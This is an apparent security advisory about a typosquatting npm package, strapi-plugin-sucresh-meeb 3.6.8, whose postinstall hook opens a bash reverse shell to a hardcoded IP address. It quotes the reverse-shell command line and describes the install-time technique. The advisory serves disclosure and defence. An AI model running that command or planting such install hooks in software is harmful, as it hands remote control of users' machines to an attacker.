Malicious code in strapi-plugin-sucresh-meeb (npm)

Details

**Severity:** Critical

**Affected versions:** `= 3.6.8`

## Source: amazon-inspector (33561abeab9c7a0c81c1b8aac01248b757234008d03e94dfc72817fa3078f17d)
[email protected] declares a postinstall lifecycle hook (`node postinstall.js`) that runs automatically on `npm install`. The postinstall script uses child_process.exec to spawn a bash subprocess with an interactive reverse shell (`bash -i > /dev/tcp/<host>/<port> 0>&1`) connecting to the hardcoded remote endpoint 14.225.210.85:443. This gives the operator of that endpoint interactive shell control on the installing host at install time, with no authentication or user interaction. The package name mimics a Strapi plugin but the shipped code's install-time behavior is unauthenticated remote code execution against the installer.
